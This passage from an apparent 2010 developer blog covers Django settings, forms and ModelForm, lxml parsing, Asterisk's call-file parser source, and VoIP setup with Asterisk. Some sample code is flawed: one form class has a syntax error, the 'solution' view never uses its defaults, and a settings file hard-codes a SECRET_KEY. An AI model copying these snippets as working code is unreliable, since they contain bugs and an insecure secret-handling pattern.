ADMIN_MEDIA_PREFIX = '/media/'

# Make this unique, and don't share it with anybody.
SECRET_KEY = 'u%-*1-3qgv$6#0fz&wgu@p)knta@0hnvzs8x%mbm-1j@_s4qx@'

# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
 'django.template.loaders.filesystem.Loader',
 'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)

MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
)

ROOT_URLCONF = 'crapola.urls'

TEMPLATE_DIRS = (
 # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
 # Always use forward slashes, even on Windows.
 # Don't forget to use absolute paths, not relative paths.
)

INSTALLED_APPS = (
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 'django.contrib.messages',
 # Uncomment the next line to enable the admin:
 # 'django.contrib.admin',
)

The code we added basically:

Creates a new variable, SITE_ROOT, which contains the absolute pathname of our project directory, then uses that variable to generate the absolute pathname of our static content directory.
Changes MEDIA_URL to reflect the URL location of our static content in our actual frontend code (HTML / CSS / JS / etc). This will be useful later when you’re writing CSS mockup (it will save you the trouble of hardcoding the location of your static content).

Configure Your URLs

Now that we’ve got our settings configured, we can move onto the last step, configuring our urls.py file. In this section, we’ll instruct the Django development server to serve our static content while we are in development mode only (e.g. when DEBUG=True in our settings.py file). This will allow us the maximum amount of flexibility as we’ll be able to automatically serve the static files during development, but once we go into production let our web server handle the serving of these files (apache, nginx, lighttpd, etc.).

So, open up your urls.py file and add the following to the very bottom:

from crapola.settings import DEBUG
if DEBUG:
 urlpatterns += patterns('', (
 r'^static/(?P<path>.*)$',
 'django.views.static.serve',
 {'document_root': 'static'}
 ))

This will import the DEBUG variable from our settings.py file, and check its value to see if DEBUG=True. If DEBUG is true, then we’ll have the Django development server start serving static content-and if not, then we won’t do anything.

As mentioned above, this will give us maximum flexibility later on. Once we’re ready to deploy our website in production, we simply set DEBUG=False and bam, we’ll let our web server handle all the static content serving (it is much faster that way).

Conclusion

As you can see, to serve static content is really not very difficult at all. It’s just a matter of configuring a few settings options, and then adding a URL pattern if needed.

Populating Default ManyToMany Field Values in Django

r@rdegges.com (Randall Degges) — Fri, 25 Jun 2010 00:00:00 -0700

At work, I’m the lead developer of a rather large, complex web application which interacts with many different technologies (Asterisk, Freeswitch, Cisco routers, Python, XML-RPC, JSON, Django–to name a few). A few days ago, while implementing a ban system, I bumped into an interesting problem that was not trivial to find a solution to. So, here it is :)

Background

The web application I’m developing is a private portal which allows users to manage teleconference lines real time. Since all of our telephony services are free of charge, we often get callers onto certain teleconference lines who want to abuse services (think of those trolls on the internet, except over the phone). As you can probably imagine, without strict regulation & technology in place, telephone trolls could cause huge problems for normal users.

To combat this, I wrote a relatively simple ban system which allows web admins to remove abusive callers from specific teleconference lines. Each teleconference line is represented by a Django model class, which looks something like:

class Teleconference(models.Model):

 name = models.CharField('Teleconference name.', max_length=50)
 did = PhoneNumberField('Teleconference phone number.', unique=True)
 owner = models.ForeignKey(User)
 bans = models.ManyToManyField(Caller, blank=True, null=True)

 def __unicode__(self):
 return '%s:%s' % (self.name, self.did)

The newly added bans field stores a list of Caller objects which map to individual callers, and allow the web users to ban specific callers if they’re causing trouble.

Problem

The problem came up when I was trying to finish the view which allows web admins to select which callers they want to ban.

The view code (originally) looked something like:

def edit_teleconference(request, id=None):
 teleconference = get_object_or_404(Teleconference, id=id)

 if request.method == 'POST':
 form = TeleconferenceForm(request.POST, instance=teleconference)
 if form.is_valid():
 if 'name' in form.cleaned_data:
 teleconference.name = form.cleaned_data['name']
 if 'did' in form.cleaned_data:
 teleconference.did = form.cleaned_data['did']
 if 'owner' in form.cleaned_data:
 teleconference.owner = form.cleaned_data['owner']
 if 'bans' in form.cleaned_data:
 teleconference.bans = form.cleaned_data['bans']

 teleconference.save()
 else:
 defaults = {
 'name': teleconference.name,
 'did': teleconference.did,
 'owner': teleconference.owner.id
 }
 if teleconference.bans:
 defaults['bans'] = teleconference.bans.id

 form = TeleconferenceForm(request.POST, instance=teleconference)

 variables = RequestContext(request, {'form': form})
 return render_to_response('portal/teleconf/edit.html', variables)

The problem in the code above resides on line 24. Attempting to populate the default values for a ManyToMany field using the id attribute does not work.

After a bit of playing around, I was unable to find a solution, so I checked Google. After ~20 minutes of Google, I was still stuck with the same problem.

Solution

To resolve the issue, and successfully populate the default bans field values, I had to do:

def edit_teleconference(request, id=None):
 teleconference = get_object_or_404(Teleconference, id=id)

 if request.method == 'POST':
 form = TeleconferenceForm(request.POST, instance=teleconference)
 if form.is_valid():
 if 'name' in form.cleaned_data:
 teleconference.name = form.cleaned_data['name']
 if 'did' in form.cleaned_data:
 teleconference.did = form.cleaned_data['did']
 if 'owner' in form.cleaned_data:
 teleconference.owner = form.cleaned_data['owner']
 if 'bans' in form.cleaned_data:
 teleconference.bans = form.cleaned_data['bans']

 teleconference.save()
 else:
 defaults = {
 'name': teleconference.name,
 'did': teleconference.did,
 'owner': teleconference.owner.id
 }
 if teleconference.bans:
 defaults['bans'] = [t.pk for t in teleconference.bans.all()]

 form = TeleconferenceForm(request.POST, instance=teleconference)

 variables = RequestContext(request, {'form': form})
 return render_to_response('portal/teleconf/edit.html', variables)

Which basically passes a list of Caller id attributes to the form. While this now seems an intuitive solution to me, I had a great deal of trouble initially figuring it out.

The way that form defaults work for ForeignKey and ManyToMany fields is that they take in either a model’s id attribute for ForeignKeys, or a list of model ids for ManyToMany fields.

Conclusion

Populating Django ManyToMany field default values can be a bit confusing, and somewhat undocumented. Hopefully the code presented above helps clarify how to do it properly, and why it works the way it does.

The Asterisk Spooling Daemon

r@rdegges.com (Randall Degges) — Sun, 06 Jun 2010 00:00:00 -0700

While working on the new V2 release of pycall, I was doing some research on the internal limitations of Asterisk call files, and thought I’d share some interesting (technical) bits of information here.

All information below has been gathered from the latest Asterisk release (v1.6.2.7). If you don’t do any programming, you may want to skip this article, as it is a bit geeky.

Brief Overview of Call File Code

First of all, it is important to note that Asterisk call files only work when the Asterisk module pbx_spool.so is loaded.

The pbx_spool.so module (the Asterisk spooling daemon), is a process which runs and analyzes the Asterisk spooling directory (usually /var/spool/asterisk/outgoing/) for new call files. If a call file is found, then the spooling daemon will process the call file (extracting the directives), then executing the actions specified.

So, since we now know how the spooling daemon works, let’s take a look at the source code (in C), and figure out what actually goes on.

First of all, download the Asterisk source code if you want to follow along: asterisk v1.6.2.7 (tarball). Once you extract the code, open up the file asterisk-1.6.2.7/pbx/pbx_spool.c in your favorite editor. This file contains all of the Asterisk code used to parse, launch, and control call files.

The first thing you’ll notice (being a sensitive best-practices programmer!) is that there are a ton of magic numbers being thrown around in here. But let’s just ignore that for now (I’m sure the Asterisk guys are working on it) :)

The two sections of the code which we’re going to look at today are the outgoing struct, and the apply_outgoing function. These contain the bulk of the call file logic, and will help us learn a bit about call file internals.

Look them over briefly. In the next section, we’ll dive right in.

The outgoing Struct

Let’s start out by analyzing the outgoing struct, shown below (note: I’ve re-done the formatting and comments so that it displays in proper 80-column width):

struct outgoing {
 int retries; // current number of retries
 int maxretries; // maximum number of retries permitted
 int retrytime; // how long to wait between retries (in seconds)
 int waittime; // how long to wait for an answer
 long callingpid; // PID which is currently calling
 int format; // formats (codecs) for this call

 AST_DECLARE_STRING_FIELDS (
 AST_STRING_FIELD(fn); // file name of the call file
 AST_STRING_FIELD(tech); // which channel technology to use for
 // outgoing call
 AST_STRING_FIELD(dest); // which line to use for outgoing
 // call
 AST_STRING_FIELD(app); // if application: Application name
 AST_STRING_FIELD(data); // if application: Application data
 AST_STRING_FIELD(exten); // if extension/context/priority:
 // extension in dialplan
 AST_STRING_FIELD(context); // if extension/context/priority:
 // dialplan context
 AST_STRING_FIELD(cid_num); // callerID information: number
 AST_STRING_FIELD(cid_name); // callerID information: name
 AST_STRING_FIELD(account); // account code
 );

 int priority; // if extension/context/priority: priority
 struct ast_variable *vars; // variables and functions
 int maxlen; // maximum length of call
 struct ast_flags options; // options
};

This struct holds the directives specified in each call file that the spooling daemon reads. This means that if your call file looks like:

Channel: Local/18002223333@from-internal
Application: Playback
Data: hello-world

Then the struct will set: tech = "Local", dest = "18002223333@from-internal", app = "Playback", and data = "hello-world".

Internally, Asterisk uses this struct throughout the pbx_spool.c module, as a way to store individual call file states and track statuses.

How The Spooling Daemon Works

Now, when users create a call file, the spooling daemon will process that file. But how does it do it? Now that we’ve seen struct outgoing, let’s look at the apply_outgoing function which parses call files, and populates an outgoing struct while verifying that all lines are syntactically correct.

This will give us insight into which directives are allowed in call files (and which variations raise errors).

Here is the apply_outgoing function cleaned up for clarity:

static int apply_outgoing(struct outgoing *o, char *fn, FILE *f) {
 /*
 * Parse the `outgoing` struct, clean up any lingering whitespace, and
 * verify that all directives are syntactically correct. Logs errors as
 * it finds them.
 */

 char buf[256];
 char *c, *c2;
 int lineno = 0;
 struct ast_variable *var, *last = o->vars;

 while (last && last->next) {
 last = last->next;
 }

 while(fgets(buf, sizeof(buf), f)) {
 lineno++;

 // Trim comments.
 c = buf;
 while ((c = strchr(c, '#'))) {
 if ((c == buf) || (*(c-1) == ' ') || (*(c-1) == '\t'))
 *c = '\0';
 else
 c++;
 }

 c = buf;
 while ((c = strchr(c, ';'))) {
 if ((c > buf) && (c[-1] == '\\')) {
 memmove(c - 1, c, strlen(c) + 1);
 c++;
 } else {
 *c = '\0';
 break;
 }
 }

 // Trim trailing white space.
 while(!ast_strlen_zero(buf) && buf[strlen(buf) - 1] < 33)
 buf[strlen(buf) - 1] = '\0';

 if (!ast_strlen_zero(buf)) {

 // Split the directive into two parts. Command and value.
 c = strchr(buf, ':');
 if (c) {
 *c = '\0';
 c++;
 while ((*c) && (*c < 33))
 c++;

#if 0
 printf("'%s' is '%s' at line %d\n", buf, c, lineno);
#endif

 // Analyze the command, and populate the outgoing struct.
 if (!strcasecmp(buf, "channel")) {
 if ((c2 = strchr(c, '/'))) {
 *c2 = '\0';
 c2++;
 ast_string_field_set(o, tech, c);
 ast_string_field_set(o, dest, c2);
 } else {
 ast_log(LOG_NOTICE, "Channel should be in form "
 "Tech/Dest at line %d of %s\n", lineno, fn);
 }
 } else if (!strcasecmp(buf, "callerid")) {
 char cid_name[80] = {0}, cid_num[80] = {0};
 ast_callerid_split(c, cid_name, sizeof(cid_name),
 cid_num, sizeof(cid_num));
 ast_string_field_set(o, cid_num, cid_num);
 ast_string_field_set(o, cid_name, cid_name);
 } else if (!strcasecmp(buf, "application")) {
 ast_string_field_set(o, app, c);
 } else if (!strcasecmp(buf, "data")) {
 ast_string_field_set(o, data, c);
 } else if (!strcasecmp(buf, "maxretries")) {
 if (sscanf(c, "%30d", &o->maxretries) != 1) {
 ast_log(LOG_WARNING, "Invalid max retries at line %d "
 "of %s\n", lineno, fn);
 o->maxretries = 0;
 }
 } else if (!strcasecmp(buf, "codecs")) {
 ast_parse_allow_disallow(NULL, &o->format, c, 1);
 } else if (!strcasecmp(buf, "context")) {
 ast_string_field_set(o, context, c);
 } else if (!strcasecmp(buf, "extension")) {

 ast_string_field_set(o, exten, c);
 } else if (!strcasecmp(buf, "priority")) {
 if ((sscanf(c, "%30d", &o->priority) != 1) ||
 (o->priority < 1)) {
 ast_log(LOG_WARNING, "Invalid priority at line %d of "
 "%s\n", lineno, fn);
 o->priority = 1;
 }
 } else if (!strcasecmp(buf, "retrytime")) {
 if ((sscanf(c, "%30d", &o->retrytime) != 1) ||
 (o->retrytime < 1)) {
 ast_log(LOG_WARNING, "Invalid retrytime at line %d of "
 "%s\n", lineno, fn);
 o->retrytime = 300;
 }
 } else if (!strcasecmp(buf, "waittime")) {
 if ((sscanf(c, "%30d", &o->waittime) != 1) ||
 (o->waittime < 1)) {
 ast_log(LOG_WARNING, "Invalid waittime at line %d of "
 "%s\n", lineno, fn);
 o->waittime = 45;
 }
 } else if (!strcasecmp(buf, "retry")) {
 o->retries++;
 } else if (!strcasecmp(buf, "startretry")) {
 if (sscanf(c, "%30ld", &o->callingpid) != 1) {
 ast_log(LOG_WARNING, "Unable to retrieve calling "
 "PID!\n");
 o->callingpid = 0;
 }
 } else if (!strcasecmp(buf, "endretry") || !strcasecmp(buf,
 "abortretry")) {
 o->callingpid = 0;
 o->retries++;
 } else if (!strcasecmp(buf, "delayedretry")) {
 } else if (!strcasecmp(buf, "setvar") || !strcasecmp(buf,
 "set")) {
 c2 = c;
 strsep(&c2, "=");
 if (c2) {
 var = ast_variable_new(c, c2, fn);
 if (var) {
 /*
 * Always insert at the end, because some people
 * want to treat the spool file as a script
 */
 if (last) {
 last->next = var;
 } else {
 o->vars = var;
 }
 last = var;
 }
 } else
 ast_log(LOG_WARNING, "Malformed \"%s\" argument. "
 "Should be \"%s: variable=value\"\n", buf, buf);
 } else if (!strcasecmp(buf, "account")) {
 ast_string_field_set(o, account, c);
 } else if (!strcasecmp(buf, "alwaysdelete")) {
 ast_set2_flag(&o->options, ast_true(c),
 SPOOL_FLAG_ALWAYS_DELETE);
 } else if (!strcasecmp(buf, "archive")) {
 ast_set2_flag(&o->options, ast_true(c),
 SPOOL_FLAG_ARCHIVE);
 } else {
 ast_log(LOG_WARNING, "Unknown keyword '%s' at line %d of "
 "%s\n", buf, lineno, fn);
 }
 } else
 ast_log(LOG_NOTICE, "Syntax error at line %d of %s\n", lineno,
 fn);
 }
 }
 ast_string_field_set(o, fn, fn);
 if (ast_strlen_zero(o->tech) || ast_strlen_zero(o->dest) ||
 (ast_strlen_zero(o->app) && ast_strlen_zero(o->exten))) {
 ast_log(LOG_WARNING, "At least one of app or extension must be "
 "specified, along with tech and dest in file %s\n", fn);
 return -1;
 }
 return 0;
}

The first thing it seems to do (after storing some Asterisk variables for later usage) is begin parsing the call file, 256 bytes at a time. One thing we immediately learn from this, is that any given line in your call file cannot contain more than 256 bytes (characters). If it does, then it will not be parsed correctly.

The next thing that apply_outgoing does is remove any comments and trailing whitespace. This is pretty standard stuff. I am a bit surprised, however, that the Asterisk developers didn’t use the utility function ast_trim_blanks (in include/asterisk/strings.h), as re-writing this sort of stuff greatly increases the size of the code base, making it harder to maintain.

Next, Asterisk attempts to detect the command and arguments for each call file directive. Since all call file directives are of the form command: arguments, Asterisk splits the line at :, then tries to detect which command is being called. This is exactly what we would expect to happen.

In the process of splitting the lines into command and argument pairs, Asterisk parses out the arguments as well, and populates the outgoing struct as expected. Along the way, if Asterisk finds any problems with the syntax, it’ll log the errors to the Asterisk log (usually /var/log/asterisk/full).

Lastly, after parsing all options, Asterisk verifies to make sure that the minimum directives have been specified.

If everything worked OK, and the call file can be spooled, then apply_outgoing will return 0, otherwise, it’ll return -1.

What Did We Learn?

We’ve analyzed the core components that make call files work, and we’ve learned a few things.

We have a complete understanding of which call file directives exist (as shown in the code above). This is a big benefit, as the documentation on VoIP Info, and various other Asterisk documentation websites seems to be incomplete. The exact call files directives allowed are:
- channel
- callerid
- application
- data
- maxretries
- codecs
- context
- extension
- priority
- retrytime
- waittime
- retry
- startretry
- endretry
- delayedretry
- setvar
- account
- alwaysdelete
- archive
Note, some of these directives should not be directly entered into your call files (as Asterisk will automatically add them as necessary), but of course, if you’re reading this you’re probably the type of person who likes messing with that sort of stuff, so have at it. :>
We’ve learned how to put any amount of directives we want onto a single line. Obviously this is totally useless, but it is nice to know that we CAN if we want to!

We’re able to do this because the spooling daemon reads 256 bytes at a time for parsing. So we could write a call file that looks something like:

Channel: blah NextDirective: blah ...

Conclusion

I’m hoping to do a few more articles that demistify other parts of Asterisk in depth (with code and examples). This is my first, and I know it doesn’t touch on the complex topics like threading and synchronous / asynchronous channels, but I assure you I’ll write some future articles which cover those parts in extreme depth.

Basic XML Parsing With Python and LXML

r@rdegges.com (Randall Degges) — Tue, 16 Mar 2010 00:00:00 -0700

Recently I’ve been developing an API using python and Django for work, which uses XML responses to speak to clients. One of my goals for the client was to be able to easily parse the XML responses that the server sends, so that I could appropriately handle errors.

Fortunately, python has many tools for building and parsing XML. During my research, I tested several options, but found that the well supported library LXML was a perfect match for what I needed. Unfortunately, I had a hard time figuring this out, as examples to just parse XML content was lacking in the official tutorial, and there were no good resources online with code samples.

So let’s take a quick peek at a sample XML document, then we’ll analyze some simple LXML code to see how it works. Of course, before you can run any of these code samples, you’ll need to download and install LXML (there are packages available on most Linux systems already).

Here’s are two sample XML responses that our server may send to the clients:

<?xml version="1.0" encoding="utf-8"?>
<response version="1.0">
 <code>200</code>
 <id>50</id>
</response>

<?xml version="1.0" encoding="utf-8"?>
<response version="1.0">
 <code>400</code>
 <errors>
 <error>This API call requires a HTTP POST.</error>
 </errors>
</response>

The first XML document shows a successful response. The code tag contains an HTTP 200 OK code, which means the operation succeeded, and the id tag contains an identification number which the client needs to store for later processing.

Now, let’s quickly analyze the situation. We have an XML tag which will be available whether the operation succeeds or fails, which is the code tag. So, for the client to be able to distinguish between a success or failure, it needs to first figure out what code was returned.

Let’s write some python-lxml code to quickly output the value of the code tag:

from lxml import etree

response = 'some xml response here'

try:
 doc = etree.XML(response.strip())
 code = doc.findtext('code')
 print code
except etree.XMLSyntaxError:
 print 'XML parsing error.'

In our code, we first build a XML document from our XML response string, then use the findtext() method (provided by LXML) to retrieve the value of the code tag. Run this example, play around with it, and you’ll see that you can pull up any value you want from the XML document.

In my client code, the program flow looks something like:

from sys import exit
from lxml import etree

response = 'some xml response here'

try:
 doc = etree.XML(response.strip())
 code = doc.findtext('code')
 print code
except etree.XMLSyntaxError:
 print 'XML parsing error.'
 exit(1)

if code == '200':
 # store the id somewhere
 id = doc.findtext('id')
else:
 # handle errors, do more stuff
 print doc.findtext('error')
 exit(1)

exit(0)

This lets me perform error checking on the XML response to make sure that everything went smoothly. If something goes wrong during the API call, then I will know about it, and can perform other actions to fix any problems or report errors.

If you’d like to do more advanced XML parsing with LXML, read the official tutorial. It is very verbose, but contains excellent examples which clearly demonstrate how to both parse and generate XML.

So the next time you’re looking for a quick way to process XML, check out LXML.

The World Would Be a Better Place if Everyone Was a Hacker

r@rdegges.com (Randall Degges) — Mon, 15 Mar 2010 00:00:00 -0700

There are a lot of problems with the world today. There have been, are, and always will be problems with the world; this is unavoidable. By nature, humans are emotional at the core, which severely inhibits our decision making, and leads us to make poor choices.

The question is, how can we make the world a better place? By ‘make the world a better place’, I simply mean improve every aspect of life. This can mean things like:

Less war.
Higher standards of living.
More environmentally friendly practices.
More caring and supportive communities.
etc.

The only way to make the world a better place is to consciously analyze a situation, think of ways to improve the situation, and then make the necessary changes to improve the situation.

Now, let’s say that the situation you consciously think about and plan on improving is large and generic, something like ‘make my neighborhood nicer’. There is not a direct path to making your neighborhood nicer, so you’ll need to break the situation into smaller, sub-situations which are more easily managed.

For instance, to make your neighborhood nicer, you could:

Increase the average income of residents of your community.
Provide better education for community members.
Have better support programs to help residents.
Re-pave the roads.
Re-model buildings.

And for any one of those sub-problems, you can break it down further. Let’s say we decide to re-pave the roads, this could be accomplished by:

Raising taxes to get more money for road paving.
Paving the roads yourself.
Raising donated monies for road paving.
Elect new city counsel members who pledge to pave the roads.
Run for city counsel yourself, and make sure that the roads are paved.
etc.

This logical mentality of analyzing a problem, breaking it into smaller problems, and then solving the most minimal problem is a typical trait of a hacker. That is what hackers do. They solve problems, step-by-step.

Our society needs more hackers. We need more people who will consciously look for problems, break them into smaller components, and then solve each component.

Imagine if an entire city of 10,000 people all consciously decided to look for ways to make their community a nicer place. With 10,000 individuals, each tackling a small problem, big things would begin to happen very quickly.

The problem with our world is that there are very few hackers. Most people do not like solving problems, and prefer to let others solve problems for them. I think this is a mistake.

The next time you see a problem, think of ways to break it into smaller pieces, and then think of ways to solve each piece. Anything can be achieved by simply putting conscious thought into it, and when enough people begin to analyze their surroundings, and actively participate in their community, amazing things happen.

Auto Generate Forms with Django's ModelForm

r@rdegges.com (Randall Degges) — Fri, 12 Mar 2010 00:00:00 -0800

In this short article, we’ll analyze a better way (in some cases) to create forms for your Django models.

If you’ve ever worked with Django forms, then you know that there is a lot of repetitive code involved in the process of writing a form to create your model. Take, for instance, the following model, which represents a physical server (somewhere):

from django.db import models

class Server(models.Model):
 """This class represents a physical server."""
 hostname = models.CharField('Server Name',
 help_text = 'Hostname of the server.',
 max_length = 50
 )
 ip = models.IPAddressField('Server IP Address',
 help_text = 'Public IP of the server.',
 unique = True
 )
 disk_space = models.IntegerField('Disk Space on Server',
 help_text = 'Total disk space in MB.'
 )
 ram = models.IntegerField('RAM on Server',
 help_text = 'Total RAM in MB.'
 )
 cpu = models.IntegerField('Processing Power',
 help_text = 'Total Processing Power in MHz.'
 )

 def __unicode__(self):
 """Make the model human readable."""
 return self.hostname

Our Server model contains several attributes which define a Server object.

If you want to create a Server object, you can generate a form class which can be used to create a new Server model and store it in the database. This isn’t very difficult, but is a bit repetitive. Here’s how you would generate a form to create a new Server model using Django’s forms:

from django import forms

class CreateServerForm(forms.Form):
 """Create a new Server model."""
 hostname = forms.CharField(
 label = 'Server Name',
 max_length = 50,
 required = False
 )
 ip = forms.IPAddressField )
 label = 'Public IP',
 required = False
 )
 disk_space = forms.IntegerField(
 label = 'Disk Space in MB',
 required = False
 )
 ram = forms.IntegerField(
 label = 'RAM in MB',
 required = False
 )
 cpu = forms.IntegerField(
 label = 'CPU in MHz',
 required = False
 )

As you can see, there’s a lot of repetitive code in there. This is great when you need maximum control of your forms, but is overkill if you’re just trying to build a simple view to create an instance of your model class.

What if there was a way to auto-generate a form class without re-writing all of that code? Well, there is! Django’s ModelForm class allows you to create a very simple ModelForm without ever touching form code.

Here’s our models.py code re-written using ModelForm:

from django.db import models
from django.forms import ModelForm

class Server(models.Model):
 """This class represents a physical server."""
 hostname = models.CharField('Server Name',
 help_text = 'Hostname of the server.',
 max_length = 50
 )
 ip = models.IPAddressField('Server IP Address',
 help_text = 'Public IP of the server.',
 unique = True
 )
 disk_space = models.IntegerField('Disk Space on Server',
 help_text = 'Total disk space in MB.'
 )
 ram = models.IntegerField('RAM on Server',
 help_text = 'Total RAM in MB.'
 )
 cpu = models.IntegerField('Processing Power',
 help_text = 'Total Processing Power in MHz.'
 )

 def __unicode__(self):
 """Make the model human readable."""
 return self.hostname

class ServerForm(ModelForm):
 """Auto generated form to create Server models."""
 class Meta:
 model = Server

Look how much simpler that is! Instead of writing a forms.py file, and manually creating a form, we just use ModelForm to specify a model class that Django should magically create a form from.

Lastly, let’s see how we can use this new ModelForm class in an actual view. It’s easy, I promise:

from myapp.models import Server
from myapp.models import ServerForm

from django.template import RequestContext
from django.shortcuts import render_to_response

def create_server(request):
 """Create a new Server model."""
 if request.method == 'POST':
 form = ServerForm(request.POST)
 if form.is_valid():

 # Create a new Server object.
 form.save()
 else:
 form = ServerForm()

 variables = RequestContext(request, {
 'form': form
 })
 return render_to_response('path/to/template/create.html', variables)

See how easy that is? In only a few lines, we were able to auto-generate a form from our model class, and then write a simple view which creates a new Server model by using the auto-generated form.

If you’re interested in Django’s ModelForm, read the official documentation, it will answer all of your more in-depth questions.

5 Ways to Save Your Company Money by Switching to Asterisk

r@rdegges.com (Randall Degges) — Thu, 11 Mar 2010 00:00:00 -0800

One huge expense that most companies (small and large) have to absorb at one point or another is the cost of a phone system (PBX). PBX systems are extremely expensive (even systems that only support a few users can cost upwards of $10,000 USD).

As most companies rely on phone communications, this expense cannot be avoided. The benefits of having a PBX are numerous and necessary:

A single phone number to reach all employees.
A single phone number / fax number to put on business cards.
Lower calling costs using voice over IP (VoIP).
Get advanced statistics of phone usage.
Configure auto attendants to route calls to the appropriate people.
Allow employees to work remotely (even with their cell phones) and avoid the costs of renting office space.
And much more…

So how can you save money for your company? Switch to Asterisk, the open source PBX.

What is Asterisk?

Asterisk is an extremely popular open source PBX system. It costs nothing, can be installed on almost any computer system, and is stable and reliable. Equally important is the fact that Asterisk has a large user base, a plethora of documentation, and tons of developers and consultants who can help you set it up (even if you aren’t a tech person) for cheap.

So let’s get down to business. Here are 5 ways that Asterisk can save your company money:

1. It’s Free

Obviously, the factor which drives most companies to ditch their current PBX is cost. Asterisk is free, and it is hard to justify paying $10,000 or more for a small office phone system when the competition offers better functionality, reliability, and costs nothing.

2. Avoid Licensing

With most commercial PBX systems, you have to buy into the licensing schemes that come with them. For example, check out the Shoretel PBX system price list (pdf) (effective Jan. 1st, 2010).

Look at those licenses. Every phone you want to hook up requires an extension license and voice-mail license. And it isn’t cheap, either.

My thought is: why pay recurring costs just to use a phone? You’ve already got to pay for phone service, why not only pay for your hardware, and be done with it?

With Asterisk, you’ll be paying only for your hardware. This usually includes:

A decent server to install Asterisk on: ~500$ -> ~1,000$.
VoIP phones for each employee: ~30$ -> ~100$.

If you want to add a new employee to the system and get a phone, no problem. Just buy another phone, and plug it into the network.

If you need to support video calls, no problem. Just purchase a video phone, and plug it into the network.

3. Make Your Company Portable

Let’s face it, traditional business is dying out. With high-speed internet widely available, there is no reason to have a centralized office. There is a continuously growing amount of new companies which are completely distributed.

There are a lot of benefits to running a distributed business. You have no office rental costs. You can hire better workers by selecting from a larger area (get the best expert in the US instead of the best expert in your city). And lots of other things.

Supporting remote workers couldn’t be easier in Asterisk. Just ship your employees a VoIP phone with the IP of your Asterisk PBX programmed in, and they’re instantly online. All they have to do is plug their phone into their network and they’re ready to work.

4. Custom Functionality

With traditional PBX systems, getting unique and custom functionality can be not only time consuming, but very expensive. And unfortunately, customizing PBX systems is a very common need for most companies.

Here are some custom features that companies like to request:

Integrate with their CRM system.
Integrate with their ticketing system.
Send custom notices to management when things go wrong.
After hours call escalation.
Integrate with web chat and websites (click to call).

Obviously, things like the above require custom development. When dealing with large companies (Cisco, Avaya, Shoretel), custom development is insanely expensive.

Asterisk has an extremely active business community, filled with thousands of products specifically designed to work with Asterisk to add almost any functionality you can imagine to your PBX. Let’s say you want to have a queue system where callers call in, and the system calls them back automatically when it is their turn in line-there’s an app for that!

And if you can’t find an app for what you need, you can always build it yourself, or hire an Asterisk developer for cheap online.

5. Compete With the Big Players

Asterisk is a game changing tool for small and medium businesses. It allows your small company to operate like a large company, free.

Many small companies get stuck in the ‘small business syndrome’ where they never grow beyond a small market audience because their ‘presentation’ is small. When customers call your company, and hear a professional auto attendant, they instantly feel like they’re dealing with a professional, organized company. When customers call a business, and wait for 50 rings before hearing a choppy sounding answering machine, they are annoyed, frustrated, and far less likely to return.

Conclusion

Asterisk is a great tool for companies looking to save money, and improve their communications infrastructure. It has all the functionality (and more) that large PBX companies (Cisco, Avaya, Shoretel) advertise, and costs nothing.

If you want to learn more, check out Asterisk’s official website.

Transparent Telephony - Part 3 - Making and Receiving Calls Using VoIP

r@rdegges.com (Randall Degges) — Wed, 03 Mar 2010 00:00:00 -0800

Welcome back to the Transparent Telephony series. If you’re a new reader, you may want to start at the beginning: Part 1 - An Introduction.

In the previous installment, we walked through installing Asterisk. In this article, we’ll be picking up where we left off and configuring Asterisk to make and receive phone calls using VoIP!

Specifically, we’ll:

Register an account with a VoIP (voice over IP) provider.
Configure Asterisk to connect to our VoIP provider.
Create a SIP extension to make and receive calls from.
Configure Asterisk rules for making calls.
Configure Asterisk rules for receiving calls.
Connect a softphone (software phone) to our Asterisk server as an extension and use it to make real calls.

So let’s get started!

Getting a VoIP Account

The first thing we need to do is sign up with a VoIP (voice over IP) provider. To quote from Part 1 - An Introduction,

VoIP (voice over IP) is a relatively new way to connect to the PSTN using the Internet. VoIP is extremely low-cost compared to other methods, and very easy to set up as it only requires an active Internet connection to use. More and more businesses are switching over to VoIP for cost reasons.

There are two main types of VoIP protocols that people use with Asterisk. There is SIP (session initiation protocol) and IAX (inter-asterisk exchange). While both of these protocols are still widely in use, SIP has become the dominant VoIP protocol in today’s world. In fact, the term SIP has mostly replaced VoIP. When speaking to people in the telephony industry, it is common to hear people say ‘I have so and so as my SIP provider’. So from now on, we’ll use that terminology as well.

Picking a SIP provider is a very important task. If you Google for ‘SIP providers’ you’ll find thousands of options. Here are the top few I recommend (I’ve experimented with tons of different SIP providers):

Flowroute is my favorite SIP provider because they have a great website, low prices, and business-class reliability. So instead of walking through the set up for each of the above providers (that would take forever) I’ll just cover Flowroute. If you choose to go with another provider, you can still follow along with this article and get a sense of what to do.

Create an Account

To create an account with Flowroute, visit their sign up page and fill in your information. You don’t need a credit card, and they’ll give you 25 cents of credit (enough to make approximately 30 minutes of calls). If you want to be able to receive calls as well as make them, then you’ll have to deposit some money into your account as you’ll need to own a DID (more commonly known as phone number) which costs a bit more than 25 cents.

Once your account has been created, you’ll be directed to the account dashboard, where, if you want, you can deposit some money via Amazon Payments.

A Brief Note on Terminology

In the telephony world, SIP accounts are commonly referred to as SIP trunks. Trunk meaning a single account connection to the PSTN.

Connect Your SIP Trunk to Asterisk

Now that we’ve got a SIP trunk ready for us to use, we need to hook it up to our Asterisk PBX. To get started, go to your Flowroute account management page, and navigate to the ‘Interconnection’ page, then click on the ‘System Configurator’ link towards the middle of the page. Next click on the drop down menu and select ‘Asterisk’ as this is what we’re using. The System Configurator will give us all of the Asterisk settings we need to put into our PBX (with only slight modifications required).

A Brief Note on Security

Never ever give out any of your SIP account information! If someone knows your secret and account number, they can easily connect your SIP trunk to their PBX, and begin placing calls on your tab! This happens frequently as many system administrators are not familiar with VoIP security, and don’t know what information is valuable, and what isn’t.

A good deal of phone scams and telemarketing campaigns originate from hacked SIP accounts, so be careful!

Define Your SIP Trunk Registration String

